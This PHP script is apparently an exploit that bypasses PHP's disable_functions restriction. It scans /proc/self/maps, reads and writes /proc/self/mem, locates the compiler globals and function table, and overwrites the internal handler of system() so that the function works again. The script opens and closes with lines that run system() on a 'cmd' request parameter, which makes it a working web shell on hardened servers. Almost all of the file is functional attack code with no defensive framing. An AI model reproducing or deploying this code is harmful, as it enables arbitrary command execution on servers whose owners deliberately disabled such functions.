@system(get("cmd"));

selfpatch();

@system(get("cmd"));


function selfpatch(){
    $maps = read_proc_maps();
    $cg = read_compiler_globals($maps);
    $funs = read_function_table($cg);

    $fn_passthru = $funs["passthru"] or print("no passthru?");
    $fn_exec = $funs["exec"] or print("no exec?");
    $fn_system = $funs["system"] or print("no system?");

    /*
     the functions above are defined right after each other, their zif_handler is allocated on the heap
     subsequently. The difference of their addresses on 64 bit architectures is:
      --enable-debug builds: 43 bytes
              normal builds: 16 bytes
     Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:
    */
    $fn_htmlspecialchars = $funs["htmlspecialchars"] or print("no htmlspecialchars?");
    $fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or print("no htmlspecialchars_decode?");
    $zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];
    debug("zip_diff is: ".$zif_diff);

    $real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;
    $real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);

    $fd = fopen("/proc/self/mem", "r+b") or print("couldnt open memory for reading and writing");
    if(fseek($fd, $fn_system["internal_func_addr"]+32)) print("Cannot access zend_internal_function of system");

    // we are at num_args.
    if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) print("patching num args failed");

    fread($fd, 4); // skipping required_num_args

    if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) print("patching arg info failed");

    if(8 != fwrite($fd, $real_zif_system_addr_bin)) print("patching zif_handler failed");

    fclose($fd);
}


function read_zend_string($fd, $addr) {
    if(fseek($fd, $addr+16)) print("Cannot access function name at $i");
    $b = fread($fd, 8);
    $lena = unpack("Q", $b);
    return fread($fd, $lena[1]);
}

function read_function_from_bucket($fd, $i) {

    $re = Array();

    if(fseek($fd, $i)) print("Cannot access bucket at $i");
    $b = fread($fd, 8);
    $na = unpack("Q", $b);
    $re["internal_func_addr"] = $na[1];
    $re["internal_func_addr_hex"] = dechex($na[1]);

    if(fseek($fd, $re["internal_func_addr"]+4)) print("Cannot access function name at $i");
    $b = fread($fd, 4);
    $na = unpack("L", $b);
    $re["fn_flags"] = $na[1];

    $b = fread($fd, 8);
    $na = unpack("Q", $b);
    $re["function_name_addr"] = $na[1];
    $re["function_name_addr_hex"] = dechex($na[1]);

    fread($fd, 16); // skipping zend_class_entry and zend_function ptrs

    $b = fread($fd, 4);
    $na = unpack("L", $b);
    $re["num_args_bin"] = $b;
    $re["num_args"] = $na[1];

    fread($fd, 4); // skipping required_num_args

    $b = fread($fd, 8);
    $na = unpack("Q", $b);
    $re["arg_info_addr_bin"] = $b;
    $re["arg_info_addr"] = $na[1];
    $re["arg_info_addr_hex"] = dechex($na[1]);

    $b = fread($fd, 8);
    $na = unpack("Q", $b);
    $re["zif_handler_addr"] = $na[1];
    $re["zif_handler_addr_hex"] = dechex($na[1]);

    $re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);

    debug(print_r($re, true));

    // sleep(1); exit;

    return $re;
}

function read_function_table($cg) {

    $re = Array();
    $fd = fopen("/proc/self/mem", "rb") or print("couldnt open memory for reading");

    /*
    (gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)
    $6 = 24
    */
    $ardata_pos = $cg["function_table_address"]+16;

    if(fseek($fd, $ardata_pos)) print("Cannot access the function HashTable");
    $b = fread($fd, 8);
    $nnum = unpack("Q", $b);

    $arDataBase = $nnum[1];

    $b = fread($fd, 8);
    $nnum = unpack("L*", $b);

    $nNumUsed = $nnum[1];
    $nNumOfElements = $nnum[2];

    debug("Number of functions: $nNumUsed/$nNumOfElements");
    $addr = $arDataBase;
    for($i = 0; $i < $nNumUsed; $i++) {
        $fun = read_function_from_bucket($fd, $addr);
        $re[$fun["func_name"]] = $fun;
        /*
        (gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])
        $10 = 32
        */
        $addr += 32;
    }

    fclose($fd);

    return $re;
}

function find_compiler_globals_at($fd, $i) {
    if(fseek($fd, $i)) print("couldnt access memory at: $i\n");
    $b = fread($fd, 16);
    $up = unpack("L*", $b);
    // print_r($up); //exit;
    if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {
        debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));
        return $i;
    }
    return 0;
}

// Function based on some dummy heuristics. Could be improved to be more robust/reliable.
function read_compiler_globals($maps){
    $fd = fopen("/proc/self/mem", "rb") or print("couldnt open memory for reading");

    $addr = 0;
    foreach($maps as $map) {
        debug("reading memory: ".print_r($map, true));
        $i = $map["mem_region_begin"];

        while($i + 16 <= $map["mem_region_end"]) {
            if($addr = find_compiler_globals_at($fd, $i)) {
                break;
            }
            $i+= 8;
        }

        if($addr) break;
    }

    if(!$addr) print("Couldnt find compiler globals");

    /*
    (gdb) p &(compiler_globals->function_table)
    $4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>
    */
    if(fseek($fd, $addr+56)) print("couldnt access memory at: $i\n");
    $b = fread($fd, 8);
    $ft = unpack("Q", $b)[1];

    $re = Array(
        "compiler_global_address" => $addr,
        "compiler_global_address_hex" => dechex($addr),
        "function_table_address" => $ft,
        "function_table_address_hex" => dechex($ft),
    );

    fclose($fd);

    debug(print_r($re, true));

    return $re;
}

function read_proc_maps(){
    $maps_str = file_get_contents("/proc/self/maps") or print("Cant read proc maps");
    debug($maps_str);
    $re = Array();
#
    preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);
#  print_r($matches);
    $php_seen = 0;
    for($i = 0; $i < count($matches[0]); $i++) {
        $a = Array(
            "executable" => trim($matches[4][$i]),
            "perms" => $matches[3][$i],
            "mem_region_begin_hex"=> $matches[1][$i],
            "mem_region_end_hex"=> $matches[2][$i],
            "mem_region_begin"=> hexdec($matches[1][$i]),
            "mem_region_end"=> hexdec($matches[2][$i]),
        );
        // echo "$executable: $perms\n";
        if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {
            $php_seen = 1;
        }

        if($a["executable"] == "[heap]") {
            array_push($re, $a);
        }
        elseif($a["perms"] == "rw-p") {
            if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))
                array_push($re, $a);
        }
    }
    if(!count($re)) print("Couldnt find any interesting memory regions");

    debug(print_r($re, true));
    return $re;
}


function endsWith($haystack, $needle) {
    return substr_compare($haystack, $needle, -strlen($needle)) === 0;
}

function debug($m) {
    return;
    echo "$m\n";
}